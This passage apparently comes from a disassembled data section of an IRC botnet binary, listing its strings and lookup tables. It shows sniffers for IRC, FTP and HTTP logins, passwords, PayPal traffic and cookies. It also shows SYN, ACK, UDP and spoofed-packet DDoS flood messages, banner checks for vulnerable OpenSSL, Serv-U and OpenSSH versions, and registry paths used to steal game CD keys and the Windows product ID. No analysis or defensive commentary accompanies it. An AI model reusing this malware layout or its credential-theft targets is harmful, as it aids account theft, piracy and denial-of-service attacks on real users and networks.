		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
dword_44C7D0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_41289A+85o
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
dword_44C7FC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_41289A+103o
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_44C828	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_41289A+186o
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_41289A+236o
		align 4
dword_44C864	dd 234032Dh, 696E7370h,	3026666h, 2Dh ;	DATA XREF: sub_41289A+24Do
dword_44C874	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_41289A+2C2o
aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_44C8A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_41289A+313o
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412C1F+5o
		align 10h
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412C1F+2Bo
		align 4
aPsniff_2	db 'PSNIFF//',0         ; DATA XREF: sub_412C1F+3Co
		align 4
aJoin_1		db 'JOIN #',0           ; DATA XREF: sub_412C1F+4Do
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412C1F:loc_412C81o
		align 4
a366		db '366 ',0             ; DATA XREF: sub_412C1F+73o
		align 10h
a_login		db ':.login',0          ; DATA XREF: sub_412C1F+84o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412C1F+95o
aLogin_1	db ':!Login',0          ; DATA XREF: sub_412C1F+A6o
a_login_0	db ':.Login',0          ; DATA XREF: sub_412C1F+B7o
a_ident		db ':.ident',0          ; DATA XREF: sub_412C1F+C8o
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412C1F+D9o
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412C1F+EEo
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412C1F+103o
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412D36+5o
		align 4
aOper		db 'OPER ',0            ; DATA XREF: sub_412D36+2Bo
		align 4
aNick_3		db 'NICK ',0            ; DATA XREF: sub_412D36:loc_412D76o
		align 4
aOper_0		db 'oper ',0            ; DATA XREF: sub_412D36+51o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412D36+62o
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_412DAC+5o
		align 4
aNick_2		db 'NICK ',0            ; DATA XREF: sub_412DAC+2Bo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_412DAC+3Co
		align 4
a230		db '230 ',0             ; DATA XREF: sub_412DAC:loc_412DFDo
		align 4
aUser_2		db 'USER ',0            ; DATA XREF: sub_412DAC+62o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_412DAC+73o
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412E33+5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412E33+2Bo
		align 10h
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412E33:loc_412E73o
		align 4
aPaypal_com	db 'PAYPAL.COM',0       ; DATA XREF: sub_412E33+51o
		align 4
aPaypal_com_0	db 'paypal.com',0       ; DATA XREF: sub_412E33+62o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412E33+73o
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_412EBA+5o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_412EBA+2Bo
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_412EBA:loc_412EFAo
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_412EBA+51o
		align 4
unk_44CA48	db  2Dh	; -		; DATA XREF: sub_412F1F+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
unk_44CA74	db  2Dh	; -		; DATA XREF: sub_412F1F+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 4
aS_27		db '%s',0               ; DATA XREF: sub_412F1F+22Fo
		align 4
aS_28		db '%s',0               ; DATA XREF: sub_412F1F+253o
		align 4
unk_44CAAC	db  2Dh	; -		; DATA XREF: sub_412F1F+2DCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CAE0	db  2Dh	; -		; DATA XREF: sub_412F1F+30Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CB14	db  2Dh	; -		; DATA XREF: sub_412F1F+337o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CB48	db  2Dh	; -		; DATA XREF: sub_412F1F+36Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 10h
unk_44CB80	db  2Dh	; -		; DATA XREF: sub_412F1F+3D6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44CBB8	db  2Dh	; -		; DATA XREF: sub_4132FC+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
aDdos_syn_0	db 'ddos.syn',0         ; DATA XREF: sub_4133AE+F1o
		align 4
aDdos_ack_0	db 'ddos.ack',0         ; DATA XREF: sub_4133AE:loc_4134BEo
		align 4
aDdos_random_0	db 'ddos.random',0      ; DATA XREF: sub_4133AE:loc_4134DAo
dword_44CC04	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_4133AE+31Ao
		dd 203A726Fh, 6425h
unk_44CC20	db  2Dh	; -		; DATA XREF: sub_413740+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 4
unk_44CC4C	db  2Dh	; -		; DATA XREF: sub_413740+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_44CC7C	db  2Dh	; -		; DATA XREF: sub_413740+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 10h
unk_44CCA0	db  2Dh	; -		; DATA XREF: sub_413740+326o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 10h
unk_44CCF0	db  2Dh	; -		; DATA XREF: sub_413740+390o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_44CD38	db  2Dh	; -		; DATA XREF: sub_413B2B+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 10h
unk_44CD60	db  2Dh	; -		; DATA XREF: sub_413B2B+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_44CD8C	db  2Dh	; -		; DATA XREF: sub_413CB7+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
unk_44CDB4	db  2Dh	; -		; DATA XREF: sub_413CB7+1C7o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 10h
dword_44CDE0	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_413ECE+48o
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_44CE0C	db  2Dh	; -		; DATA XREF: sub_414067+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_44CE34	db  2Dh	; -		; DATA XREF: sub_414103+295o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_44CE54	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_41440C+4Do
aDoneWithFlood_	db '- Done with flood.',0
		align 8
unk_44CE78	db  2Dh	; -		; DATA XREF: sub_4146C8+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_44CEAC	db  2Dh	; -		; DATA XREF: sub_4146C8+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_44CEE4	db  2Dh	; -		; DATA XREF: sub_4146C8+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
aSyn_1		db 'syn',0              ; DATA XREF: sub_4146C8+2BDo
aAck_0		db 'ack',0              ; DATA XREF: sub_4146C8+2DDo
aRandom_2	db 'random',0           ; DATA XREF: sub_4146C8+2FDo
		align 8
unk_44CF18	db  2Dh	; -		; DATA XREF: sub_4146C8+471o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_44CF68	db  2Dh	; -		; DATA XREF: sub_4146C8+4E4o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_44CFB8	db  2Dh	; -		; DATA XREF: sub_414C64+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
aD_D_D_D_1	db '%d.%d.%d.%d',0      ; DATA XREF: sub_414D19+C8o
unk_44CFF8	db  2Dh	; -		; DATA XREF: sub_414F53+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_44D038	db  2Dh	; -		; DATA XREF: sub_414FC9+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 8
unk_44D068	db  2Dh	; -		; DATA XREF: sub_414FC9+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_44D0B8	db  2Dh	; -		; DATA XREF: sub_414FC9+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_44D0FC	db  2Dh	; -		; DATA XREF: sub_414FC9+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
aD_D_D_D_2	db '%d.%d.%d.%d',0      ; DATA XREF: sub_414FC9+17Eo
		align 8
unk_44D138	db  2Dh	; -		; DATA XREF: sub_414FC9+2F6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 10h
unk_44D1A0	db  2Dh	; -		; DATA XREF: sub_414FC9+348o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_44D22C	db  2Dh	; -		; DATA XREF: sub_415321+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
asc_44D258:				; DATA XREF: sub_4154BB+1C0o
		unicode	0, < >,0
aSD_2		db '%s%d ',0            ; DATA XREF: sub_4154BB+1FEo
		align 4
dword_44D264	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_4159C4+10o
dword_44D278	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_4159C4+35o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415A3C+60o
		align 10h
dword_44D2B0	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .packed:00415AF8o
dword_44D2BC	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415B79+20o
dword_44D2D0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415B79:loc_415BAEo
dword_44D2E4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_415BEC+3Fo
		dd 676E6974h, 0
dword_44D300	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_415BEC+DCo
		dd 6574656Ch, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_415D1B+11o
aWindow		db 'Window',0           ; DATA XREF: sub_415F56+23o
		align 4
aWindow_0	db 'Window',0           ; DATA XREF: sub_41614F+26o
		align 8
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
					; DATA XREF: .packed:off_44E1ECo
		align 10h
aCdkey		db 'CDKey',0            ; DATA XREF: .packed:0044E1F0o
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .packed:0044E1F4o
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aKey_0		db 'Key',0
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aKey_1		db 'Key',0
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aCustomernumber	db 'CustomerNumber',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aCdkey_0	db 'CDKey',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
		align 4
aProductid	db 'ProductId',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aSoftwareUnreal	db 'Software\Unreal Technology\Installed Apps\UT2003',0
		align 4
aCdkey_1	db 'CDKey',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2003',0
		align 4
aSoftwareUnre_0	db 'Software\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aCdkey_2	db 'CDKey',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2004',0
		align 10h
aSoftwareIgi2Re	db 'Software\IGI 2 Retail',0
		align 4
aCdkey_3	db 'CDKey',0
		align 10h
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
aSoftwareElectr	db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
aSoftwareElec_0	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194	db 'Battlefield 1942',0
		align 10h
aSoftwareElec_1	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		align 10h
aSoftwareElec_2	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
aSoftwareElec_3	db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
aSoftwareElec_4	db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		align 8
aSoftwareElec_5	db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
aCommandAndConq	db 'Command and Conquer: Generals (Zero Hour)',0
		align 8
aSoftwareElec_6	db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
aSoftwareElec_7	db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0	db 'Command and Conquer: Generals',0
		align 4
aSoftwareElec_8	db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 8
aSoftwareElec_9	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault',0
		align 10h
aSoftwareEle_10	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 8
aSoftwareEle_11	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
aSoftwareEle_12	db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aSoftwareEle_13	db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
aSoftwareEle_14	db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
aSoftwareEle_15	db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
aSoftwareEle_16	db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
aSoftwareEle_17	db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
aSoftwareEle_18	db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
aSoftwareEle_19	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNascarRacing20	db 'Nascar Racing 2002',0
		align 10h
aSoftwareEle_20	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2003',0
		align 10h
aSoftwareRedSto	db 'Software\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aCdkey_4	db 'CDKey',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
aSoftwareWestwo	db 'Software\Westwood\Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSoftwareWest_0	db 'Software\Westwood\Red Alert',0
aSerial_0	db 'Serial',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Red Alert',0
		align 4
aSoftwareWest_1	db 'Software\Westwood\Red Alert 2',0
		align 4
aSerial_1	db 'Serial',0
		align 4
aCommandAndCo_3	db 'Command and Conquer: Red Alert 2',0
		align 10h
aSoftwareWest_2	db 'Software\Westwood\NOX',0
		align 4
aSerial_2	db 'Serial',0
		align 10h
aNox		db 'NOX',0
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSoftwareIllusi	db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aKey_2		db 'key',0
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aLocation	db 'Location',0
		align 4
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aNwncdkey_ini	db 'nwncdkey.ini',0
		align 10h
aKey1		db 'Key1=',0
		align 4
aSoftwareBiow_0	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aLocation_0	db 'Location',0
		align 4
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
		align 4
aNwncdkey_ini_0	db 'nwncdkey.ini',0
		align 4
aKey2		db 'Key2=',0
		align 4
aSoftwareBiow_1	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aLocation_1	db 'Location',0
		align 4
aNeverwinterN_1	db 'Neverwinter Nights (Hordes of the Underdark)',0
		align 4
aNwncdkey_ini_1	db 'nwncdkey.ini',0
		align 4
aKey3		db 'Key3=',0
		align 8
		dd 80000001h
off_44E1EC	dd offset aSoftwareValveC ; DATA XREF: sub_41638E+Cr
					; sub_41638E+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_44E1F8	dd 2 dup(0)		; DATA XREF: sub_41638E+26o
		dd 80000001h, 44D380h, 44D3A8h,	44D3B4h, 2 dup(0)
		dd 80000001h, 44D3C4h, 44D3E4h,	44D3E8h, 2 dup(0)
		dd 80000001h, 44D3FCh, 44D420h,	44D424h, 2 dup(0)
		dd 80000001h, 44D430h, 44D454h,	44D45Ch, 2 dup(0)
		dd 80000001h, 44D470h, 44D484h,	44D494h, 2 dup(0)
		dd 80000001h, 44D4B0h, 44D4F4h,	44D4FCh, 2 dup(0)
		dd 80000002h, 44D510h, 44D53Ch,	44D548h, 2 dup(0)
		dd 80000002h, 44D568h, 44D59Ch,	44D5A4h, 2 dup(0)
		dd 80000002h, 44D5BCh, 44D5F0h,	44D5F8h, 2 dup(0)
		dd 80000002h, 44D610h, 44D628h,	44D630h, 2 dup(0)
		dd 80000002h, 44D648h, 4EAC9Ch,	44D684h, 2 dup(0)
		dd 80000002h, 44D694h, 4EAC9Dh,	44D6CCh, 2 dup(0)
		dd 80000002h, 44D6E0h, 4EAC9Eh,	44D72Ch, 2 dup(0)
		dd 80000002h, 44D750h, 4EAC9Fh,	44D7A0h, 2 dup(0)
		dd 80000002h, 44D7CCh, 4EACA0h,	44D808h, 2 dup(0)
		dd 80000002h, 44D81Ch, 4EACA1h,	44D854h, 2 dup(0)
		dd 80000002h, 44D868h, 4EACA2h,	44D8B8h, 2 dup(0)
		dd 80000002h, 44D8E8h, 4EACA3h,	44D928h, 2 dup(0)
		dd 80000002h, 44D944h, 4EACA4h,	44D974h, 2 dup(0)
		dd 80000002h, 44D994h, 4EACA5h,	44D9D0h, 2 dup(0)
		dd 80000002h, 44D9E8h, 4EACA6h,	44DA30h, 2 dup(0)
		dd 80000002h, 44DA50h, 4EACA7h,	44DAA4h, 2 dup(0)
		dd 80000002h, 44DAD8h, 4EACA8h,	44DB28h, 2 dup(0)
		dd 80000002h, 44DB54h, 44DB94h,	44DB9Ch, 2 dup(0)
		dd 80000002h, 44DBC0h, 4EACA9h,	44DC04h, 2 dup(0)
		dd 80000002h, 44DC20h, 4EACAAh,	44DC6Ch, 2 dup(0)
		dd 80000002h, 44DC90h, 4EACABh,	44DCC4h, 2 dup(0)
		dd 80000002h, 44DCD0h, 4EACACh,	44DD04h, 2 dup(0)
		dd 80000002h, 44DD10h, 4EACADh,	44DD44h, 2 dup(0)
		dd 80000002h, 44DD50h, 4EACAEh,	44DD84h, 2 dup(0)
		dd 80000002h, 44DD90h, 4EACAFh,	44DDCCh, 2 dup(0)
		dd 80000002h, 44DDE0h, 4EACB0h,	44DE1Ch, 2 dup(0)
		dd 80000002h, 44DE30h, 44DE60h,	44DE68h, 2 dup(0)
		dd 80000002h, 44DE84h, 44DEA4h,	44DEACh, 2 dup(0)
		dd 80000002h, 44DED0h, 44DEECh,	44DEF4h, 2 dup(0)
		dd 80000002h, 44DF14h, 44DF34h,	44DF3Ch, 2 dup(0)
		dd 80000002h, 44DF60h, 44DF78h,	44DF80h, 2 dup(0)
		dd 80000002h, 44DF84h, 44DFA0h,	44DFB0h, 2 dup(0)
		dd 80000002h, 44DFB8h, 44DFECh,	44DFF0h, 2 dup(0)
		dd 80000002h, 44E008h, 44E044h,	44E050h, 44E078h, 44E088h
		dd 80000002h, 44E09Ch, 44E0C0h,	44E0CCh, 44E0E0h, 44E0F0h
		dd 80000002h, 44E0F8h, 44E11Ch,	44E128h, 44E154h, 44E164h
		dd 80000002h, 44E16Ch, 44E190h,	44E19Ch, 44E1CCh, 44E1DCh
